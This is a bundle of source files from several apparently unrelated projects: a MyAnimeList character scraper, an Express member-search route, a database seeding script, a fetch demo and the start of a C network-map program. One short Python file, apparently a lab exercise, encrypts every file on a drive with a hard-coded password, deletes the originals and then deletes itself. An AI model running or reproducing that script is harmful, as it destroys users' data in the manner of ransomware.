from IDs.id_list import id_list
# import id_list
from exceptions import HeavyAccessRestrictionError
current_id = max(id_list())
# current_id = 0
valid_ids = []
invalid_ids = 0
number_of_requests = 0
total_requests = 0
count_requests = 0
total_valid_ids = 0
def write_ids(character_id_list): # append valid ids to file every 100 requests
print('Writing valid ids...')
with open('C:\\Users\\bridg\\PycharmProjects\\sylok_the_defiled\\IDs\\valid_id_list_new.txt', 'a', encoding='utf-8') as f:
for data in character_id_list:
character_id = data
f.write(f'id:{character_id}\n')
while True:
current_id += 1
print(f'\nvalid_ids: {total_valid_ids}/{count_requests}')
if total_requests >= 100:
write_ids(valid_ids)
valid_ids = []
total_requests = 0
if number_of_requests == 10:
sleep(2.5)
number_of_requests = 0
source = requests.get(f'https://myanimelist.net/character/{current_id}').text
number_of_requests += 1
total_requests += 1
count_requests += 1
soup = BeautifulSoup(source, features='html.parser')
if soup.find('div', class_='caption') is None:
pass
else:
write_ids(valid_ids)
raise HeavyAccessRestrictionError
for content_wrapper in soup.find_all('div', id='contentWrapper'):
h1 = content_wrapper.div.h1.text
if h1 != 'Invalid':
total_valid_ids += 1
valid_ids.append(current_id)
else:
print(f'id: {current_id}\nstate: Invalid\noutput: {h1}')
invalid_ids += 1
<file_sep>from bs4 import BeautifulSoup
import requests
"""
DEPRECATED
"""
class Character:
"""
Each character should have:
- Name
- List of associated Images
- Description
- ..
"""
def __init__(self, character_id):
self.character_id = character_id
self.name = self.get_name()
self.images = self.get_images()
self.first = self.name.split(' ')[0]
self.last = self.name.split(' ')[-1]
self.description = self.get_description()
def get_name(self):
source = requests.get(f'https://myanimelist.net/character/{self.character_id}').text
soup = BeautifulSoup(source, features='html.parser')
name = soup.find('div', style='height: 15px;', class_='normal_header')
return name.text[:name.text.find('(') - 1]
def get_name_alternate(self):
source = requests.get(f'https://myanimelist.net/character/{self.character_id}').text
soup = BeautifulSoup(source, features='html.parser')
name = soup.find('div', style='height: 15px;', class_='normal_header')
return name.text[:name.text.find('(')]
def get_images(self):
# print(self.name)
image_list = []
source = requests.get(f'https://myanimelist.net/character/{self.character_id}/{self.name[:self.name.find(" ")]}_{self.name[self.name.find(" ") + 1:]}/pictures').text
soup = BeautifulSoup(source, features='html.parser')
for images in soup.find_all('img', alt=self.name, class_='lazyload'):
image_source = str(images)
image_list.append(image_source[image_source.find('https'):image_source.find('jpg') + 3])
if image_list:
# print(f'First conditional{image_list}')
return image_list
else:
self.name = self.get_name_alternate()
self.images = self.get_images()
# print(f'Second conditional{image_list}')
return self.images
def get_description(self):
source = requests.get(f'https://myanimelist.net/character/{self.character_id}').text
soup = BeautifulSoup(source, features='html.parser')
# description = soup.find('td', valign='top', style='padding-left: 5px;')
description = soup.find('td', valign='top', style='padding-left: 5px;').text
description = description[description.find(')')+1:description.find('Voice Actors')].strip()
"""
description scraper is still buggy. find edge cases, fix bugs, etc.
"""
# try:
# description = description.br.text[:description.br.text.find('Voice Actors')]
# except AttributeError:
# return ''
# return str(description).strip()
# return soup.get_text()
return description
# character = Character(2)
# print(character.images)
# print(f'{character.name[:character.name.find(" ")]}_{character.name[character.name.find(" ") + 1:]}')
# print(character.images)
# print(character.description)
<file_sep># from get_attributes import Character
#
# test_waifu = Character(533)
# print(test_waifu.first)
# print(test_waifu.description)
# from MAL_Parser import Character, OldCharacter
# import time
# start = time.time()
# test_waifu = Character(11)
# print(test_waifu.name)
# print(test_waifu.database_name)
# print(test_waifu.nicknames)
# print(test_waifu.kanji)
# print(test_waifu.images)
# print(test_waifu.description)
# print(test_waifu.actors)
# print(test_waifu.animeography)
# print(test_waifu.animeography)
# stop = time.time()
# print(stop - start)
#
# start = time.time()
# test_waifu = OldCharacter(11)
# print(test_waifu.name)
# print(test_waifu.database_name)
# print(test_waifu.nicknames)
# print(test_waifu.kanji)
# print(test_waifu.images)
# print(test_waifu.description)
# print(test_waifu.actors)
# print(test_waifu.animeography)
# print(test_waifu.animeography)
# stop = time.time()
# print(stop - start)
# import os
# import random
# waifu_database_root = 'E:\\Waifu Database'
#
#
# root, waifu = next(os.walk(waifu_database_root))[0], random.choice(next(os.walk(waifu_database_root))[1])
# print(waifu)
# print(f'{root}\\{waifu}\\info')
# print(f'{root}\\{waifu}\\actors')
# print(f'{root}\\{waifu}\\appearances\\anime')
# print(f'{root}\\{waifu}\\appearances\\manga')
# print(f'{root}\\{waifu}\\images')
# print(f'{root}\\{waifu}\\nicknames')
from Database_Code.Databases.waifu_db import waifu_db
true_count = 0
count = 0
# print(waifu_db.keys())
for key in waifu_db.keys():
true_count += 1
if 'No biography written.' in waifu_db[key]['info']['description']:
count += 1
# print(key)
print(f'Bad descriptions: {count}/{true_count}') # bad descriptions: 7744/43558, 17.78%
true_count = 0
count = 0
# print(waifu_db.keys())
for key in waifu_db.keys():
true_count += 1
if not waifu_db[key]['images']:
count += 1
# print(key)
print(f'Bad image lists: {count}/{true_count}') # empty image lists: 1954/43558, 4.49%
# for character_id in waifu_db.keys():
# if 'No biography written.' in waifu_db[character_id]['info']['description']:
# pass
# if 'DetailsPictures' in waifu_db[character_id]['info']['description'] and 'No biography written.' not in waifu_db[character_id]['info']['description']:
# print(waifu_db[character_id]['info']['description'])
# print('\n')
# print(waifu_db[character_id]['info']['description'][waifu_db[character_id]['info']['description'].rfind(' \n'):])
# print('\n\n\n')
<file_sep>from MAL_Parser import Character
import json
from IDs.id_list import id_list as id_lst
import time
from tqdm import tqdm
# import id_list as id_lst
import exceptions
def count_lines(file):
lines = 0
with open(file) as f:
for j in range(int(max(id_lst()))):
if f.readline() is not '':
lines += 1
return lines
with open('C:\\Users\\bridg\\PycharmProjects\\sylok_the_defiled\\Database_Code\\Databases\\waifu_db.py', 'r') as check:
if check.read() == '':
with open('C:\\Users\\bridg\\PycharmProjects\\sylok_the_defiled\\Database_Code\\Databases\\waifu_db.py', 'w') as waifu_db:
waifu_db.write('waifu_db = {}\n')
with open('C:\\Users\\bridg\\PycharmProjects\\sylok_the_defiled\\IDs\\valid_id_list_new.txt', 'r') as id_list:
character_id_list = []
for i in range(count_lines('C:\\Users\\bridg\\PycharmProjects\\sylok_the_defiled\\IDs\\valid_id_list_new.txt')):
id_string = id_list.readline().strip()
character_id_list.append(id_string[id_string.find(":")+1:])
from Database_Code.Databases.waifu_db import waifu_db
new_dictionary = waifu_db
scraping_error_count = 0
# print(character_id_list)
# print(waifu_db.keys())
for waifu_id in tqdm(character_id_list):
if waifu_id in waifu_db.keys():
pass
else:
time.sleep(2.5)
try:
w = Character(waifu_id)
except exceptions.MALScrapingError:
scraping_error_count += 1
print(f"Sleeping for 10 minutes. Error count: {scraping_error_count}")
time.sleep(600)
new_dictionary.update({w.character_id: {
'info': {
'name': w.database_name.strip(), 'kanji': w.kanji, 'nicknames': w.nicknames, 'initials': w.initials, 'description': w.description.strip()},
'images': w.images,
'appearances': {'animeography': w.animeography, 'mangaography': w.mangaography},
'actors': w.actors}
})
with open('C:\\Users\\bridg\\PycharmProjects\\sylok_the_defiled\\Database_Code\\Databases\\waifu_db.py', 'w') as db:
db.write(f'waifu_db = {json.dumps(new_dictionary, indent=4)}')
# print(f"Waifu '{w.name}', id:{w.character_id} written to database.")
<file_sep>"""
DEPRECATED
"""
from bs4 import BeautifulSoup
import requests
def get_image(character_id):
source = requests.get(f'https://myanimelist.net/character/{character_id}').text
soup = BeautifulSoup(source, features='html.parser')
waifu = soup.find('img', class_='lazyload')
image = str(waifu)
image = image[image.find('https'):image.find('jpg') + 3]
return image
<file_sep>import os
import requests
from Database_Code.Databases.waifu_db import waifu_db as db
from tqdm import tqdm
root_directory = 'E:\\Waifu Database'
os.chdir(root_directory)
for character_id in tqdm(db):
try:
img_count = 0
nick_count = 0
actor_count = 0
os.chdir(root_directory)
os.mkdir(character_id)
os.chdir(f'{root_directory}\\{character_id}')
os.mkdir('info')
os.chdir(f'{root_directory}\\{character_id}\\info')
with open(f'name.txt', 'w', encoding='utf-8') as name:
name.write(db[character_id]['info']['name'])
with open(f'kanji.txt', 'w', encoding='utf-8') as kanji:
kanji.write(db[character_id]['info']['kanji'])
os.mkdir('nicknames')
os.chdir(f'{root_directory}\\{character_id}\\info\\nicknames')
for names in db[character_id]['info']['nicknames']:
nick_count += 1
with open(f'nicknames {nick_count}.txt', 'w', encoding='utf-8') as nickname:
nickname.write(names)
os.chdir(f'{root_directory}\\{character_id}\\info')
with open(f'initials.txt', 'w', encoding='utf-8') as initials:
initial_string = ''
for inital in db[character_id]['info']['initials']:
initial_string += f'{inital}. '
initials.write(initial_string.strip())
try:
with open(f'description.txt', 'w', encoding='utf-8') as description:
description.write(db[character_id]['info']['description'])
except UnicodeEncodeError:
with open(f'description.txt', 'w', encoding='utf-16') as description:
description.write(db[character_id]['info']['description'])
os.chdir(f'{root_directory}\\{character_id}')
os.mkdir('images')
os.chdir(f'{root_directory}\\{character_id}\\images')
for image in db[character_id]['images']:
img_count += 1
image_data = requests.get(image).content
with open(f'{img_count}.jpg', 'wb') as img:
img.write(image_data)
os.mkdir('links')
os.chdir(f'{root_directory}\\{character_id}\\images\\links')
link_count = 0
for link in db[character_id]['images']:
link_count += 1
with open(f'link_{link_count}.txt', 'w') as links:
links.write(link)
os.chdir(f'{root_directory}\\{character_id}')
os.mkdir('appearances')
os.chdir(f'{root_directory}\\{character_id}\\appearances')
os.mkdir('anime')
os.mkdir('manga')
os.chdir(f'{root_directory}\\{character_id}\\appearances\\anime')
anime_string = ''
for anime in db[character_id]['appearances']['animeography']:
anime_string += f'{anime}\n'
with open(f'anime.txt', 'w', encoding='utf-8') as anime:
anime.write(anime_string)
os.chdir(f'{root_directory}\\{character_id}\\appearances\\manga')
manga_string = ''
for manga in db[character_id]['appearances']['mangaography']:
manga_string += f'{manga}\n'
with open(f'manga.txt', 'w', encoding='utf-8') as manga:
manga.write(manga_string)
os.chdir(f'{root_directory}\\{character_id}')
os.mkdir('actors')
os.chdir(f'{root_directory}\\{character_id}\\actors')
for actors in db[character_id]['actors']:
actor_count += 1
actor_string = ''
actor_string += f'name: {actors[0].split(",")[-1]} {actors[0].split(",")[0]}\nlanguage: {actors[1]}'
with open(f'{actor_count}.txt', 'w', encoding='utf-8') as actor:
actor.write(actor_string.strip())
except FileExistsError:
pass
<file_sep>import random
import bisect
class WeightedChoice(object):
def __init__(self, weights):
self.totals = []
self.weights = weights
running_total = 0
for w in weights:
running_total += w[1]
self.totals.append(running_total)
def next(self):
rnd = random.random() * self.totals[-1]
i = bisect.bisect_right(self.totals, rnd)
return self.weights[i][0]
def waifu_stats(rarity_list):
pass
rarity_list = (('alpha', 70),
('beta', 55),
('delta', 30),
('epsilon', 18),
('gamma', 8),
('zeta', 0.05))
weighted_choice = WeightedChoice(rarity_list)
<file_sep>import requests
import exceptions
from bs4 import BeautifulSoup
class Character:
def __init__(self, character_id):
self.character_id = character_id
self.source = requests.get(f'https://myanimelist.net/character/{str(character_id)}').text
try:
self.name = self.get_name()
except AttributeError:
raise exceptions.MALScrapingError
self.first = self.name.split(' ')[0]
self.last = self.name.split(' ')[-1]
self.kanji = self.get_kanji()
self.description = self.get_description()
self.voice_actors = self.get_voice_actors()
self.animeography = self.get_animeography_and_mangaography('A')
self.mangaography = self.get_animeography_and_mangaography('M')
self.images = self.get_image_list()
self.voice_actor_languages = self.get_voice_actor_languages()
try:
self.actors = list(zip(self.voice_actors, self.voice_actor_languages))
except TypeError:
self.actors = []
self.initials = self.get_initials()
self.nicknames = self.get_nicknames()
if '"' in self.name:
self.database_name = self.name[:self.name.find('"')] + self.name[self.name.find('" ') + 1:].strip()
else:
self.database_name = self.name.strip()
def get_name(self):
soup = BeautifulSoup(self.source, features='html.parser')
name = soup.find('span', class_='h1-title')
return name.text.replace(' ', ' ')
def get_kanji(self):
try:
soup = BeautifulSoup(self.source, features='html.parser')
kanji = soup.find('div', class_='normal_header', style='height: 15px;')
kanji = kanji.find_next('span', style='font-weight: normal;')
return kanji.text
except AttributeError:
return ''
def get_description(self):
soup = BeautifulSoup(self.source, features='html.parser')
description = soup.find('td', valign='top', style='padding-left: 5px;')
description = description.text[description.text.find(')') + 1:description.text.find('Voice Actors')]
return description.strip()
def get_voice_actors(self):
try:
soup = BeautifulSoup(self.source, features='html.parser')
voice_actors = soup.find('td', valign='top', style='padding-left: 5px;')
voice_actors = voice_actors.find_next('table', border='0', cellpadding='0', cellspacing='0', width='100%')
voice_actors = voice_actors.find_all_next('a', text=True)
temp_list = []
actor_list = []
for actor in voice_actors:
actor = str(actor)
actor = actor[actor.find('">')+2:actor.find('</a>')]
temp_list.append(actor)
for item in temp_list:
if item == 'See More' or item == 'More':
break
else:
actor_list.append(item)
return actor_list
except AttributeError:
return None
def get_voice_actor_languages(self):
try:
soup = BeautifulSoup(self.source, features='html.parser')
languages = soup.find('td', valign='top', style='padding-left: 5px;')
languages = languages.find_next('table', border='0', cellpadding='0', cellspacing='0', width='100%')
languages = languages.find_all_next('small', text=True)
language_list = []
for language in languages:
language = str(language)
language = language[language.find('>') + 1:language.find('</small>')]
language_list.append(language)
return language_list
except AttributeError:
return None
def get_animeography(self):
animeography = []
soup = BeautifulSoup(self.source, features='html.parser')
soup = soup.find('div', id='myanimelist').find('div', class_='wrapper').find('div', id='contentWrapper').find('div', id='content')
soup = soup.find('table', border='0', cellpadding='0', cellspacing='0', width='100%')
soup = soup.find('td', width='225', class_='borderClass', style='border-width: 0 1px 0 0;', valign='top')
soup = soup.find('table', border='0', cellpadding='0', cellspacing='0', width='100%')
soup = soup.find_all('a', href=True, class_=False, title=False, text=True)
for anime in soup:
anime = str(anime)
animeography.append(anime[anime.find('">') + 2:anime.find('</a>')])
return animeography
def get_animeography_and_mangaography(self, type_of_content):
animeography = []
mangaography = []
soup = BeautifulSoup(self.source, features='html.parser')
soup = soup.find('div', id='myanimelist').find('div', class_='wrapper').find('div', id='contentWrapper').find('div', id='content')
soup = soup.find('table', border='0', cellpadding='0', cellspacing='0', width='100%')
soup = soup.find('td', width='225', class_='borderClass', style='border-width: 0 1px 0 0;', valign='top')
soup = soup.find_all('table', border='0', cellpadding='0', cellspacing='0', width='100%')
t = []
for tag in soup:
t.append(tag.find_all('a', href=True, class_=False, title=False, text=True))
if type_of_content == 'A':
for animes in t[0]:
animes = str(animes)
animeography.append(animes[animes.find('">') + 2:animes.find('</a>')])
return animeography
elif type_of_content == 'M':
for mangas in t[1]:
mangas = str(mangas)
mangaography.append(mangas[mangas.find('">') + 2:mangas.find('</a>')])
return mangaography
def get_image_list(self):
image_list = []
soup = BeautifulSoup(requests.get(f'https://myanimelist.net/character/{self.character_id}/{self.first}_{self.last}/pictures').text, features='html.parser')
soup = soup.find_all('a', href=True, title=True, class_='js-picture-gallery', rel='gallery-character')
for link in soup:
link = str(link)
link = link[link.find('https://'):link.find('.jpg') + 4]
image_list.append(link)
image_list = set(image_list)
return list(image_list)
def get_initials(self):
try:
if '"' in self.name:
return [name[0] for name in (self.name[:self.name.find('"')] + self.name[self.name.find('" ') + 1:]).replace(' ', ' ').split(' ')]
else:
return [name[0] for name in self.name.split(' ')]
except IndexError:
return self.name[0]
def get_nicknames(self):
nickname_list = []
if '"' in self.name:
for nicknames in self.name[self.name.find('"') + 1:self.name.find('" ')].split(','):
nickname_list.append(nicknames.strip())
return nickname_list
else:
return []
"""
While more readable, using properties made the Character class nearly 8 times slower.
It worked though :)
"""
# class Character:
# def __init__(self, character_id):
# self.character_id = character_id
#
# @property
# def source(self):
# return requests.get(f'https://myanimelist.net/character/{str(self.character_id)}').text
#
# @property
# def name(self):
# try:
# soup = BeautifulSoup(self.source, features='html.parser')
# name = soup.find('span', class_='h1-title')
# return name.text.replace(' ', ' ')
# except AttributeError:
# raise exceptions.MALScrapingError
#
# @property
# def first(self):
# return self.name.split(' ')[0]
#
# @property
# def last(self):
# return self.name.split(' ')[-1]
#
# @property
# def database_name(self):
# if '"' in self.name:
# return self.name[:self.name.find('"')] + self.name[self.name.find('" ') + 1:].strip()
# else:
# return self.name.strip()
#
# @property
# def kanji(self):
# try:
# soup = BeautifulSoup(self.source, features='html.parser')
# kanji = soup.find('div', class_='normal_header', style='height: 15px;')
# kanji = kanji.find_next('span', style='font-weight: normal;')
# return kanji.text
# except AttributeError:
# return ''
#
# @property
# def description(self):
# soup = BeautifulSoup(self.source, features='html.parser')
# description = soup.find('td', valign='top', style='padding-left: 5px;')
# description = description.text[description.text.find(')') + 1:description.text.find('Voice Actors')]
# return description.strip()
#
# @property
# def voice_actors(self):
# try:
# soup = BeautifulSoup(self.source, features='html.parser')
# voice_actors = soup.find('td', valign='top', style='padding-left: 5px;')
# voice_actors = voice_actors.find_next('table', border='0', cellpadding='0', cellspacing='0', width='100%')
# voice_actors = voice_actors.find_all_next('a', text=True)
# temp_list = []
# actor_list = []
# for actor in voice_actors:
# actor = str(actor)
# actor = actor[actor.find('">')+2:actor.find('</a>')]
# temp_list.append(actor)
# for item in temp_list:
# if item == 'See More' or item == 'More':
# break
# else:
# actor_list.append(item)
# return actor_list
# except AttributeError:
# return None
#
# @property
# def voice_actor_languages(self):
# try:
# soup = BeautifulSoup(self.source, features='html.parser')
# languages = soup.find('td', valign='top', style='padding-left: 5px;')
# languages = languages.find_next('table', border='0', cellpadding='0', cellspacing='0', width='100%')
# languages = languages.find_all_next('small', text=True)
# language_list = []
# for language in languages:
# language = str(language)
# language = language[language.find('>') + 1:language.find('</small>')]
# language_list.append(language)
# return language_list
# except AttributeError:
# return None
#
# @property
# def actors(self):
# try:
# return list(zip(self.voice_actors, self.voice_actor_languages))
# except TypeError:
# return []
#
# @property
# def animeography(self):
# animeography = []
# soup = BeautifulSoup(self.source, features='html.parser')
# soup = soup.find('div', id='myanimelist').find('div', class_='wrapper').find('div', id='contentWrapper').find(
# 'div', id='content')
# soup = soup.find('table', border='0', cellpadding='0', cellspacing='0', width='100%')
# soup = soup.find('td', width='225', class_='borderClass', style='border-width: 0 1px 0 0;', valign='top')
# soup = soup.find_all('table', border='0', cellpadding='0', cellspacing='0', width='100%')
# t = []
# for tag in soup:
# t.append(tag.find_all('a', href=True, class_=False, title=False, text=True))
# for animes in t[0]:
# animes = str(animes)
# animeography.append(animes[animes.find('">') + 2:animes.find('</a>')])
# return animeography
#
# @property
# def mangaography(self):
# mangaography = []
# soup = BeautifulSoup(self.source, features='html.parser')
# soup = soup.find('div', id='myanimelist').find('div', class_='wrapper').find('div', id='contentWrapper').find(
# 'div', id='content')
# soup = soup.find('table', border='0', cellpadding='0', cellspacing='0', width='100%')
# soup = soup.find('td', width='225', class_='borderClass', style='border-width: 0 1px 0 0;', valign='top')
# soup = soup.find_all('table', border='0', cellpadding='0', cellspacing='0', width='100%')
# t = []
# for tag in soup:
# t.append(tag.find_all('a', href=True, class_=False, title=False, text=True))
# for mangas in t[1]:
# mangas = str(mangas)
# mangaography.append(mangas[mangas.find('">') + 2:mangas.find('</a>')])
# return mangaography
#
# @property
# def images(self):
# image_list = []
# soup = BeautifulSoup(requests.get(f'https://myanimelist.net/character/{self.character_id}/{self.first}_{self.last}/pictures').text, features='html.parser')
# soup = soup.find_all('a', href=True, title=True, class_='js-picture-gallery', rel='gallery-character')
# for link in soup:
# link = str(link)
# link = link[link.find('https://'):link.find('.jpg') + 4]
# image_list.append(link)
# image_list = set(image_list)
# return list(image_list)
#
# @property
# def initials(self):
# try:
# if '"' in self.name:
# return [name[0] for name in (self.name[:self.name.find('"')] + self.name[self.name.find('" ') + 1:]).replace(' ', ' ').split(' ')]
# else:
# return [name[0] for name in self.name.split(' ')]
# except IndexError:
# return self.name[0]
#
# @property
# def nicknames(self):
# nickname_list = []
# if '"' in self.name:
# for nicknames in self.name[self.name.find('"') + 1:self.name.find('" ')].split(','):
# nickname_list.append(nicknames.strip())
# return nickname_list
# else:
# return []
class Anime:
pass
class Manga:
pass
|
f77e0c69d9b7ba4fa584a31237d0a9fbb82d2718
|
[
"Python"
] | 11
|
Python
|
WaifuRain/sylok_the_defiled
|
5753cb3184740a1c6d265c0b878e2219d6c395ac
|
fbd8ceed6785c119cfee6242c60a508c83d1be58
|
refs/heads/master
|
<file_sep>
import os, sys
def crypt(file):
import pyAesCrypt
print("---------------------------------------------------------------" )
password="<PASSWORD>"
bufferSize = 512*1024
pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
print("[crypted] '"+str(file)+".crp'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path): crypt(path)
else: walk(path)
walk("D:\")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))
|
d95bda7434f8f56f81e90abc6dfc5164eff64d9c
|
[
"Python"
] | 1
|
Python
|
Jsizova/Laba9
|
86f9663220ac44b80d86d3e82a69cae8dd3aa603
|
e6af0184b0b74bb24d53dc5c3d265e939a96fd97
|
refs/heads/master
|
<file_sep>const HttpStatus = require('http-status-codes');
const express = require('express')
const router = express.Router()
const MemberModel = require('../../models/member');
const isNumeric = (n) => !isNaN(parseFloat(n)) && isFinite(n);
router.get('/aye', (req, res) => {
res.send('aye aye');
});
router.get('/search', (req, res) => {
// this need be improved
if (!req.query.s || req.query.s.length < 1) {
return res.status(HttpStatus.OK).send('Require search parameter');
}
if (isNumeric(req.query.s)) {
MemberModel
.find({ number: req.query.s })
.sort({number: 1})
.limit(5)
.then(members => {
const mappedMembers = members.map(member => {
return {
id: member._id,
name: `${member.first_name} ${member.last_name}`,
number: member.number
};
});
res.json(mappedMembers);
})
.catch(err => {
res.status(HttpStatus.NOT_FOUND).send('Error');
})
} else {
MemberModel
.aggregate([
{ $project: { 'name' : { $concat : [ '$first_name', ' ', '$last_name' ] }, 'number': '$number' }},
{ $match: { 'name': { '$regex': `^${req.query.s}`, '$options': 'i' }}},
])
.sort('name')
.limit(5)
.exec((err, members) => {
if (err) return res.status(HttpStatus.NOT_FOUND).send('error');
const mappedMembers = members.map(member => {
return {
id: member._id,
name: member.name,
number: member.number
};
});
res.json(mappedMembers);
});
}
});
router.get('/list-members', (req, res) => {
MemberModel
.find({})
.sort({number: 1})
.then(members => {
const mappedMembers = members.map(member => {
return {
id: member._id,
first_name: member.first_name,
last_name: member.last_name,
number: member.number
};
});
res.json(mappedMembers);
})
.catch(err => {
res.status(HttpStatus.NOT_FOUND).send('Error');
})
});
module.exports = router;
<file_sep>const faker = require('faker');
const mongoose = require('mongoose');
const MemberModel = require('./models/member');
const amountMembers = 100;
const memberPromises = [];
mongoose.Promise = Promise;
mongoose.connect('mongodb://localhost:27017/interclub-challenge', { useMongoClient: true });
console.log('Creating fake members...');
MemberModel.remove({})
.then(() => {
for(let i = 0; i < amountMembers; i++) {
memberPromises.push(createFakeMember(i));
}
return Promise.all(memberPromises)
})
.then(results => {
console.log(`Created ${results.length} fake members`);
process.exit(0);
})
.catch(err => {
console.error(err);
process.exit(1);
})
function createFakeMember(iterator) {
return new MemberModel({
first_name: faker.name.firstName(),
last_name: faker.name.lastName(),
number: iterator + 1
}).save();
}
|
8ecfe99f2efdebb5cb90efe2ae6b9b963f39ca0f
|
[
"JavaScript"
] | 2
|
JavaScript
|
spiider/interclub-challenge-backend
|
180566c003055fdb53599ba0df788586535bf114
|
247cd6be72cf96cef268abb0fec1097bfdb38268
|
refs/heads/main
|
<file_sep>
const downloadData = async () => {
const url = "https://jsonplaceholder.typicode.com/photos";
try {
const response = await fetch(url);
const datos = await response.json();
//console.log(data.message)
datos.forEach((datos) => {
if (datos.id <= 20) document.write(`<p> ${datos.id} - ${datos.title}</p>`);
});
} catch (e) {
console.log(e);
}
}
const mensaje= ()=> {
return new Promise ((resolve)=>setTimeout(()=>{resolve(`informacion enviada`)},3000))
}
const req6= async()=>{
const resp = await mensaje();
console.log(resp);
}
downloadData();
req6();
|
7d09b66f1a6ee5878b32ca6e8cc8a62d5c29fa55
|
[
"JavaScript"
] | 1
|
JavaScript
|
NACCZ/Desafio-Promesas
|
676b98cad91859d1d838c959d1ea4674d8ab6182
|
616e82ad75aa976857237875c53441488caa7716
|
refs/heads/master
|
<file_sep>#ifndef TERMINALS_H
#define TERMINALS_H
#include "Routers.h"
typedef struct terminals_list TerminalsList;
typedef struct terminal_cell TerminalCell;
typedef struct terminal Terminal;
/* Inicializa as sentinelas de uma nova lista de terminais
* Input: N/A
* Output: Ponteiro para sentinelas de lista de roteador
* Pre-condicao: N/A
* Pos-condicao: Sentinelas existem apontando para NULL
*/
TerminalsList* InitializeTerminalsList();
/* Aloca espaco prara um terminal com nome e localizacao atribuidos
* Input: String como o nome e string com a localizacao do terminal
* Output: Ponteiro para terminal
* Pre-condicao: N/A
* Pos-condicao: Terminal inicializado e com nome e localizacao atribuidos
*/
Terminal* InitializeTerminal(char* nome, char* localizacao);
/* Insere o terminal na lista especifica para terminais
* Input: Ponteiro para terminal e ponteiro para lista de terminais
* Output: N/A
* Pre-condicao: N/A
* Pos-condicao: Terminal presente na lista de terminais
*/
void InsertTerminal(Terminal* terminal, TerminalsList* lista);
/* Remove o terminal da lista especifica de terminais
* Input: Ponteiro para lista de terminais e string com o nome do terminal
* Output: Ponteiro para o terminal retirado da lista
* Pre-condicao: N/A
* Pos-condicao: Lista de terminal nao deve mais conter o terminal retirado
*/
Terminal* RemoveTerminal(TerminalsList* lista, char* nome);
/* Registra o terminal, inicializando-o e inserindo-o na lista de terminais
* Input: string com o nome e string com a localizacao do terminal, ponteiro para lista de terminais
* Output: N/A
* Pre-condicao: N/A
* Pos-condicao: Terminal inicializado e presente na lista de terminais
*/
void RegisterTerminal(char* nome, char* localizacao, TerminalsList* lista);
/* Encontra o terminal na lista de terminais
* Input: Ponteiro para lista de terminais e string com o nome do terminal a ser encontrado
* Output: Ponteiro para uma celula de terminal
* Pre-condicao: o terminal deve estar presente na lista de terminais
* Pos-condicao: terminal e encontrado
*/
TerminalCell* FindTerminal(TerminalsList* listaT, char* terminal_nome);
/* Conecta um roteador da lista de roteadores a um terminal da lista de terminais
* Input: Ponteiro para lista de terminais, ponteiro para lista de roteadores, string com o nome do terminal e string com o nome do roteador
* Output: N/A
* Pre-condicao: Terminal e roteadores devem estar situados em suas respectivas listas
* Pos-condicao: Roteador conectado ao Terminal
*/
void ConnectRouterToTerminal(TerminalsList* listaT, RouterList* listaR, char* terminal_nome, char* roteador_nome);
/* Retorna a quatidade de vezes que uma determinada localizacao de terminal aparace na lista
* Input: Ponteiro para lista de terminais e string com a localizacao
* Output: inteiro que representa a quantidade de vez que a determinada localizacao apareca na lista
* Pre-condicao: lista não vazia
* Pos-condicao: lista inalterada
*/
int TerminalFrequency(TerminalsList* listaT, char* local);
/* Desconecta o roteador conectado ao determinado terminal
* Input: Ponteiro para lista de terminais e string com nome do terminal
* Output: N/A
* Pre-condicao: Terminal deve estar conectado ao roteador
* Pos-condicao: terminal não deve estar ligado a nenhum roteador
*/
void DisconnectRouterFromTerminal(TerminalsList* listaT, char* nome);
/* Imprime as conexoes entre terminais e roteadores e as conexoes entre os roteadores
* Input: Ponteiro para lista de terminais e ponteiro para lista de roteadores
* Output: N/A
* Pre-condicao: Lista nao vazia
* Pos-condicao: arquivo .dot gerado com as conexoes escritas em sintaxe propria para ser utilizada pelo GraphViz
*/
void PrintNetMap(RouterList* router_l, TerminalsList* terminal_l, int counter);
/* Libera toda uma lista de terminais
* Input: Ponteiro para lista de terminais
* Output: N/A
* Pre-condicao: Lista nao nula
* Pos-condicao: Lista de terminais completamente liberadas da memoria
*/
void FreeTerminalsList(TerminalsList* list);
/* Realiza a checagem da possibilidade de transferencia de pacotes entre terminais
* Input: Ponteiro para lista de terminais e duas strings referentes aos nomes dos terminais a serem checados
* Output: N/A
* Pre-condicao: Lista nao nula e strings validas
* Pos-condicao: Resposta escrita no arquivo "saida.txt"
*/
void SendPackage(TerminalsList* ter_list, char* e, char* r);
/* Realiza a liberacao de memoria de um tipo Terminal
* Input: Ponteiro para um tipo Terminal
* Output: N/A
* Pre-condicao: Ponteiro valido e nao nulo
* Pos-condicao: Memoria devidamente liberada
*/
void FreeTerminal(Terminal* ter);
/* Retorna o nome de um terminal que esta conectado ao roteador referido
* Input: Lista de terminais e uma string
* Output: String ou NULL (caso nao exista)
* Pre-condicao: Lista nao nula e string valida
* Pos-condicao: N/A
*/
char* FindTerminalNameWithRouterName(TerminalsList* list, char* name);
#endif /* TERMINALS_H */
<file_sep>/*
* Project: NetMap
* Authors: <NAME>, <NAME>
* Professor: <NAME>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "Routers.h"
#include "Terminals.h"
#define COMMAND_LEN 25
int main(int argc, char** argv) {
// Clearing old test files
FILE* log = fopen("log.txt", "w");
FILE* saida_txt = fopen("saida.txt", "w");
FILE* saida_dot = fopen("saida.dot", "w");
fclose(log);
fclose(saida_txt);
fclose(saida_dot);
if (argc == 1) {
log = fopen("log.txt", "a");
fprintf(log, "Erro I/O, arquivo de entrada nao especificado!");
fclose(log);
exit(1);
} else {
printf("O diretorio informado foi: %s\n", argv[1]);
}
FILE* input = fopen(argv[1], "r");
if (!input) {
log = fopen("log.txt", "a");
fprintf(log, "Erro: I/O, nao foi possivel abrir o arquivo \"%s\"", argv[1]);
fclose(log);
exit(1);
}
// Initialize lists
RouterList* router_l = InitializeRouterList();
TerminalsList* terminal_l = InitializeTerminalsList();
// NetMap counter
int netmap_counter = 0;
// Read first command from input
char command[COMMAND_LEN];
fscanf(input, "%s", command);
while (strcmp(command, "FIM")) {
if (!strcmp(command, "CADASTRAROTEADOR")) {
char nome[1000], operadora[1000];
fscanf(input, "%s %s", nome, operadora);
Router* router = InitializeRouter(nome, operadora);
InsertRouter(router, router_l);
} else if (!strcmp(command, "CADASTRATERMINAL")) {
char nome[1000], local[1000];
fscanf(input, "%s %s", nome, local);
